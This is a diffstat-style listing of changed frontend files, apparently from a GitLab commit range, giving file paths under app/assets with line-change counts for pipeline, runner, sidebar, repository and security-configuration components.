-rw-r--r--app/assets/javascripts/pager.js3
-rw-r--r--app/assets/javascripts/pages/admin/abuse_reports/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/usage_statistics.js41
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/payload_previewer.js6
-rw-r--r--app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js11
-rw-r--r--app/assets/javascripts/pages/admin/broadcast_messages/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/clusters/destroy/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/clusters/edit/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/clusters/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/clusters/index/index.js8
-rw-r--r--app/assets/javascripts/pages/admin/clusters/new/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/clusters/show/index.js8
-rw-r--r--app/assets/javascripts/pages/admin/dev_ops_report/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/identities/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/impersonation_tokens/index.js5
-rw-r--r--app/assets/javascripts/pages/admin/integrations/edit/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/jobs/index/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/keys/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/labels/index/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue2
-rw-r--r--app/assets/javascripts/pages/admin/projects/index/index.js8
-rw-r--r--app/assets/javascripts/pages/admin/spam_logs/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue151
-rw-r--r--app/assets/javascripts/pages/admin/users/index.js67
-rw-r--r--app/assets/javascripts/pages/admin/users/keys/index.js5
-rw-r--r--app/assets/javascripts/pages/dashboard/groups/index/index.js4
-rw-r--r--app/assets/javascripts/pages/dashboard/milestones/show/index.js8
-rw-r--r--app/assets/javascripts/pages/dashboard/todos/index/todos.js12
-rw-r--r--app/assets/javascripts/pages/explore/projects/index.js4
-rw-r--r--app/assets/javascripts/pages/groups/clusters/destroy/index.js4
-rw-r--r--app/assets/javascripts/pages/groups/clusters/edit/index.js4
-rw-r--r--app/assets/javascripts/pages/groups/clusters/index.js6
-rw-r--r--app/assets/javascripts/pages/groups/clusters/new/index.js4
-rw-r--r--app/assets/javascripts/pages/groups/clusters/show/index.js6
-rw-r--r--app/assets/javascripts/pages/groups/issues/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/merge_requests/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/milestones/show/index.js6
-rw-r--r--app/assets/javascripts/pages/groups/new/group_path_validator.js21
-rw-r--r--app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue14
-rw-r--r--app/assets/javascripts/pages/profiles/notifications/show/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/artifacts/browse/index.js6
-rw-r--r--app/assets/javascripts/pages/projects/artifacts/file/index.js6
-rw-r--r--app/assets/javascripts/pages/projects/clusters/destroy/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/clusters/edit/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/clusters/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/clusters/show/index.js10
-rw-r--r--app/assets/javascripts/pages/projects/commit/show/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue14
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue2
-rw-r--r--app/assets/javascripts/pages/projects/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue43
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/conflicts/index.js6
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/creations/new/compare.js2
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/creations/new/compare_autocomplete.js8
-rw-r--r--app/assets/javascripts/pages/projects/new/components/app.vue26
-rw-r--r--app/assets/javascripts/pages/projects/packages/packages/show/index.js14
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/create/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/new/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/update/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/project.js8
-rw-r--r--app/assets/javascripts/pages/projects/security/configuration/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue12
-rw-r--r--app/assets/javascripts/pages/registrations/new/index.js8
-rw-r--r--app/assets/javascripts/pages/sessions/new/index.js2
-rw-r--r--app/assets/javascripts/pages/sessions/new/username_validator.js8
-rw-r--r--app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue18
-rw-r--r--app/assets/javascripts/pages/shared/wikis/index.js6
-rw-r--r--app/assets/javascripts/pages/users/activity_calendar.js8
-rw-r--r--app/assets/javascripts/pages/users/user_tabs.js4
-rw-r--r--app/assets/javascripts/performance/constants.js4
-rw-r--r--app/assets/javascripts/performance_bar/components/detailed_metric.vue9
-rw-r--r--app/assets/javascripts/persistent_user_callout.js14
-rw-r--r--app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue1
-rw-r--r--app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue6
-rw-r--r--app/assets/javascripts/pipeline_editor/components/editor/ci_editor_header.vue38
-rw-r--r--app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue10
-rw-r--r--app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue8
-rw-r--r--app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue1
-rw-r--r--app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue2
-rw-r--r--app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue3
-rw-r--r--app/assets/javascripts/pipeline_editor/constants.js10
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/update_commit_sha.mutation.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql12
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql4
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql12
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/resolvers.js24
-rw-r--r--app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue110
-rw-r--r--app/assets/javascripts/pipeline_new/constants.js4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component.vue12
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/graph/stage_column_component.vue40
-rw-r--r--app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js6
-rw-r--r--app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/parsing_utils.js17
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue28
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue51
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue28
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue35
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue64
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_multi_actions.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue8
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue23
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue46
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue2
-rw-r--r--app/assets/javascripts/pipelines/constants.js3
-rw-r--r--app/assets/javascripts/pipelines/mixins/graph_pipeline_bundle_mixin.js14
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_bundle.js10
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_mediator.js6
-rw-r--r--app/assets/javascripts/pipelines/pipeline_shared_client.js1
-rw-r--r--app/assets/javascripts/pipelines/pipelines_index.js4
-rw-r--r--app/assets/javascripts/profile/preferences/components/profile_preferences.vue3
-rw-r--r--app/assets/javascripts/profile/profile.js13
-rw-r--r--app/assets/javascripts/project_find_file.js8
-rw-r--r--app/assets/javascripts/project_label_subscription.js8
-rw-r--r--app/assets/javascripts/projects/commit/components/branches_dropdown.vue2
-rw-r--r--app/assets/javascripts/projects/commits/components/author_select.vue5
-rw-r--r--app/assets/javascripts/projects/components/project_delete_button.vue4
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/pipeline_charts.vue10
-rw-r--r--app/assets/javascripts/projects/project_new.js21
-rw-r--r--app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue59
-rw-r--r--app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js8
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue7
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue2
-rw-r--r--app/assets/javascripts/projects/terraform_notification/components/terraform_notification.vue65
-rw-r--r--app/assets/javascripts/projects/terraform_notification/index.js18
-rw-r--r--app/assets/javascripts/projects/tree/components/commit_pipeline_status_component.vue6
-rw-r--r--app/assets/javascripts/protected_branches/protected_branch_create.js8
-rw-r--r--app/assets/javascripts/protected_tags/protected_tag_edit.js6
-rw-r--r--app/assets/javascripts/ref/constants.js3
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/cleanup_status.vue71
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue37
-rw-r--r--app/assets/javascripts/registry/explorer/constants/details.js4
-rw-r--r--app/assets/javascripts/related_issues/components/related_issues_list.vue9
-rw-r--r--app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue2
-rw-r--r--app/assets/javascripts/releases/components/app_edit_new.vue3
-rw-r--r--app/assets/javascripts/releases/components/app_index.vue2
-rw-r--r--app/assets/javascripts/releases/components/app_index_apollo_client.vue6
-rw-r--r--app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql14
-rw-r--r--app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql1
-rw-r--r--app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql9
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/actions.js1
-rw-r--r--app/assets/javascripts/reports/components/issue_body.js9
-rw-r--r--app/assets/javascripts/reports/components/report_item.vue21
-rw-r--r--app/assets/javascripts/reports/constants.js1
-rw-r--r--app/assets/javascripts/repository/components/blob_button_group.vue108
-rw-r--r--app/assets/javascripts/repository/components/blob_content_viewer.vue67
-rw-r--r--app/assets/javascripts/repository/components/blob_edit.vue (renamed from app/assets/javascripts/repository/components/blob_header_edit.vue)0
-rw-r--r--app/assets/javascripts/repository/components/blob_replace.vue75
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/download_viewer.vue51
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/empty_viewer.vue3
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/index.js27
-rw-r--r--app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue25
-rw-r--r--app/assets/javascripts/repository/components/delete_blob_modal.vue151
-rw-r--r--app/assets/javascripts/repository/components/table/index.vue2
-rw-r--r--app/assets/javascripts/repository/components/table/row.vue2
-rw-r--r--app/assets/javascripts/repository/components/tree_content.vue25
-rw-r--r--app/assets/javascripts/repository/components/upload_blob_modal.vue12
-rw-r--r--app/assets/javascripts/repository/constants.js8
-rw-r--r--app/assets/javascripts/repository/queries/blob_info.query.graphql5
-rw-r--r--app/assets/javascripts/repository/queries/commit.fragment.graphql1
-rw-r--r--app/assets/javascripts/right_sidebar.js40
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_actions_cell.vue21
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_type_cell.vue4
-rw-r--r--app/assets/javascripts/runner/components/helpers/masked_value.vue60
-rw-r--r--app/assets/javascripts/runner/components/runner_filtered_search_bar.vue141
-rw-r--r--app/assets/javascripts/runner/components/runner_list.vue36
-rw-r--r--app/assets/javascripts/runner/components/runner_manual_setup_help.vue6
-rw-r--r--app/assets/javascripts/runner/components/runner_registration_token_reset.vue10
-rw-r--r--app/assets/javascripts/runner/components/runner_tag.vue27
-rw-r--r--app/assets/javascripts/runner/components/runner_tags.vue13
-rw-r--r--app/assets/javascripts/runner/components/runner_type_help.vue4
-rw-r--r--app/assets/javascripts/runner/components/runner_update_form.vue67
-rw-r--r--app/assets/javascripts/runner/components/search_tokens/tag_token.vue91
-rw-r--r--app/assets/javascripts/runner/constants.js9
-rw-r--r--app/assets/javascripts/runner/graphql/get_runner.query.graphql2
-rw-r--r--app/assets/javascripts/runner/graphql/get_runners.query.graphql6
-rw-r--r--app/assets/javascripts/runner/graphql/runner_delete.mutation.graphql (renamed from app/assets/javascripts/runner/graphql/delete_runner.mutation.graphql)0
-rw-r--r--app/assets/javascripts/runner/graphql/runner_details.fragment.graphql13
-rw-r--r--app/assets/javascripts/runner/graphql/runner_details_shared.fragment.graphql12
-rw-r--r--app/assets/javascripts/runner/graphql/runner_node.fragment.graphql2
-rw-r--r--app/assets/javascripts/runner/graphql/runner_update.mutation.graphql2
-rw-r--r--app/assets/javascripts/runner/runner_details/runner_details_app.vue34
-rw-r--r--app/assets/javascripts/runner/runner_details/runner_update_form_utils.js38
-rw-r--r--app/assets/javascripts/runner/runner_list/index.js3
-rw-r--r--app/assets/javascripts/runner/runner_list/runner_list_app.vue35
-rw-r--r--app/assets/javascripts/runner/runner_list/runner_search_utils.js17
-rw-r--r--app/assets/javascripts/runner/sentry_utils.js20
-rw-r--r--app/assets/javascripts/search/store/actions.js45
-rw-r--r--app/assets/javascripts/search/store/constants.js7
-rw-r--r--app/assets/javascripts/search/store/getters.js9
-rw-r--r--app/assets/javascripts/search/store/index.js2
-rw-r--r--app/assets/javascripts/search/store/mutation_types.js2
-rw-r--r--app/assets/javascripts/search/store/mutations.js3
-rw-r--r--app/assets/javascripts/search/store/state.js6
-rw-r--r--app/assets/javascripts/search/store/utils.js80
-rw-r--r--app/assets/javascripts/search/topbar/components/group_filter.vue12
-rw-r--r--app/assets/javascripts/search/topbar/components/project_filter.vue12
-rw-r--r--app/assets/javascripts/search/topbar/components/searchable_dropdown.vue41
-rw-r--r--app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue8
-rw-r--r--app/assets/javascripts/search_autocomplete.js10
-rw-r--r--app/assets/javascripts/search_autocomplete_utils.js19
-rw-r--r--app/assets/javascripts/security_configuration/components/auto_dev_ops_alert.vue41
-rw-r--r--app/assets/javascripts/security_configuration/components/configuration_table.vue2
-rw-r--r--app/assets/javascripts/security_configuration/components/constants.js58
-rw-r--r--app/assets/javascripts/security_configuration/components/feature_card.vue3
-rw-r--r--app/assets/javascripts/security_configuration/components/redesigned_app.vue82
-rw-r--r--app/assets/javascripts/security_configuration/components/section_layout.vue6
-rw-r--r--app/assets/javascripts/security_configuration/graphql/configure_secret_detection.mutation.graphql6
-rw-r--r--app/assets/javascripts/security_configuration/index.js81
-rw-r--r--app/assets/javascripts/security_configuration/utils.js4
-rw-r--r--app/assets/javascripts/self_monitor/components/self_monitor_form.vue2
-rw-r--r--app/assets/javascripts/sentry/index.js1
-rw-r--r--app/assets/javascripts/sentry/sentry_config.js4
-rw-r--r--app/assets/javascripts/service_ping_consent.js35
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignee_title.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue22
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/user_name_with_status.vue23
-rw-r--r--app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue22
-rw-r--r--app/assets/javascripts/sidebar/components/lock/edit_form_buttons.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/participants/participants.vue4
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue44
-rw-r--r--app/assets/javascripts/sidebar/components/sidebar_editable_item.vue8
-rw-r--r--app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue11
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/report.vue4
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/todo_toggle/sidebar_todo_widget.vue195
-rw-r--r--app/assets/javascripts/sidebar/components/todo_toggle/todo.vue2
-rw-r--r--app/assets/javascripts/sidebar/constants.js50
-rw-r--r--app/assets/javascripts/sidebar/lib/sidebar_move_issue.js9
-rw-r--r--app/assets/javascripts/sidebar/mount_sidebar.js78
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_reference.query.graphql10
-rw-r--r--app/assets/javascripts/sidebar/queries/epic_todo.query.graphql14
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_todo.query.graphql14
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_milestone.query.graphql14
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_todo.query.graphql14
-rw-r--r--app/assets/javascripts/sidebar/queries/milestone.fragment.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql1
-rw-r--r--app/assets/javascripts/sidebar/queries/project_milestones.query.graphql8
-rw-r--r--app/assets/javascripts/sidebar/queries/todo_create.mutation.graphql9
-rw-r--r--app/assets/javascripts/sidebar/queries/todo_mark_done.mutation.graphql9
-rw-r--r--app/assets/javascripts/sidebar/queries/updateStatus.mutation.graphql3
-rw-r--r--app/assets/javascripts/sidebar/queries/update_merge_request_milestone.mutation.graphql17
-rw-r--r--app/assets/javascripts/sidebar/services/sidebar_service.js3
-rw-r--r--app/assets/javascripts/sidebar/sidebar_mediator.js8
-rw-r--r--app/assets/javascripts/smart_interval.js29
-rw-r--r--app/assets/javascripts/snippets/components/edit.vue6
-rw-r--r--app/assets/javascripts/snippets/components/embed_dropdown.vue2
-rw-r--r--app/assets/javascripts/snippets/components/snippet_blob_edit.vue6
-rw-r--r--app/assets/javascripts/snippets/components/snippet_header.vue2
-rw-r--r--app/assets/javascripts/sortable/sortable_config.js1
-rw-r--r--app/assets/javascripts/star.js8
-rw-r--r--app/assets/javascripts/static_site_editor/components/edit_drawer.vue2
-rw-r--r--app/assets/javascripts/static_site_editor/constants.js5
-rw-r--r--app/assets/javascripts/static_site_editor/image_repository.js7
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue12
-rw-r--r--app/assets/javascripts/static_site_editor/services/submit_content_changes.js8
-rw-r--r--app/assets/javascripts/subscription_select.js28
-rw-r--r--app/assets/javascripts/task_list.js6
-rw-r--r--app/assets/javascripts/terraform/components/states_table.vue4
-rw-r--r--app/assets/javascripts/terraform/components/terraform_list.vue2
-rw-r--r--app/assets/javascripts/toggle_buttons.js6
-rw-r--r--app/assets/javascripts/token_access/components/token_access.vue206
-rw-r--r--app/assets/javascripts/token_access/components/token_projects_table.vue81
-rw-r--r--app/assets/javascripts/token_access/graphql/mutations/add_project_ci_job_token_scope.mutation.graphql5
-rw-r--r--app/assets/javascripts/token_access/graphql/mutations/remove_project_ci_job_token_scope.mutation.graphql5
-rw-r--r--app/assets/javascripts/token_access/graphql/mutations/update_ci_job_token_scope.mutation.graphql8
-rw-r--r--app/assets/javascripts/token_access/graphql/queries/get_ci_job_token_scope.query.graphql7
-rw-r--r--app/assets/javascripts/token_access/graphql/queries/get_projects_with_ci_job_token_scope.query.graphql12
-rw-r--r--app/assets/javascripts/token_access/index.js31
-rw-r--r--app/assets/javascripts/tracking/index.js21
-rw-r--r--app/assets/javascripts/usage_ping_consent.js32
-rw-r--r--app/assets/javascripts/user_lists/components/user_lists.vue8
-rw-r--r--app/assets/javascripts/user_popovers.js1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/artifacts_list.vue42
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue39
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue14
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_failed.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue37
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue22
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue27
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js5
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue6
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/actions_button.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/awards_list.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js8
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/changed_file_icon.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_area_chart.vue29
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_cd_analytics/ci_cd_analytics_charts.vue9
-rw-r--r--app/assets/javascripts/vue_shared/components/ci_icon.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/deprecated_project_avatar/default.vue47
-rw-r--r--app/assets/javascripts/vue_shared/components/deprecated_project_avatar/image.vue (renamed from app/assets/javascripts/vue_shared/components/project_avatar/image.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/components/diff_viewer/viewers/renamed.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/dismissible_alert.vue9
-rw-r--r--app/assets/javascripts/vue_shared/components/dropdown/dropdown_button.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/editor_lite.vue103
-rw-r--r--app/assets/javascripts/vue_shared/components/expand_button.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/file_finder/index.vue5
-rw-r--r--app/assets/javascripts/vue_shared/components/file_icon.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js3
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js26
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue16
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue77
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/branch_token.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue21
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/iteration_token.vue20
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue14
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue14
-rw-r--r--app/assets/javascripts/vue_shared/components/form/form_footer_actions.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/gl_modal_vuex.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/field.vue14
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue5
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestions.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/toolbar.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/system_note.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/paginated_table_with_search_and_tabs/paginated_table_with_search_and_tabs.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/project_avatar.stories.js30
-rw-r--r--app/assets/javascripts/vue_shared/components/project_avatar.vue45
-rw-r--r--app/assets/javascripts/vue_shared/components/project_avatar/default.vue46
-rw-r--r--app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/select2_select.vue48
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue18
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/date_picker.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view.vue14
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js10
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js12
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue43
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql15
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue24
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js6
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js12
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.stories.js23
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.vue56
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/utils.js5
-rw-r--r--app/assets/javascripts/vue_shared/components/source_editor.vue103
-rw-r--r--app/assets/javascripts/vue_shared/components/todo_button.vue28
-rw-r--r--app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/user_select/user_select.vue23
-rw-r--r--app/assets/javascripts/vue_shared/components/web_ide_link.vue10
-rw-r--r--app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue14
-rw-r--r--app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue12
-rw-r--r--app/assets/javascripts/vue_shared/plugins/global_toast.js2
-rw-r--r--app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue35
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue1
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue13
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/constants.js1
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue2
-rw-r--r--app/assets/javascripts/vuex_shared/bindings.js6
-rw-r--r--app/assets/javascripts/whats_new/components/app.vue2
-rw-r--r--app/assets/stylesheets/application_dark.scss4
-rw-r--r--app/assets/stylesheets/components/avatar.scss13
-rw-r--r--app/assets/stylesheets/components/batch_comments/review_bar.scss10
-rw-r--r--app/assets/stylesheets/framework.scss4
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar.scss470
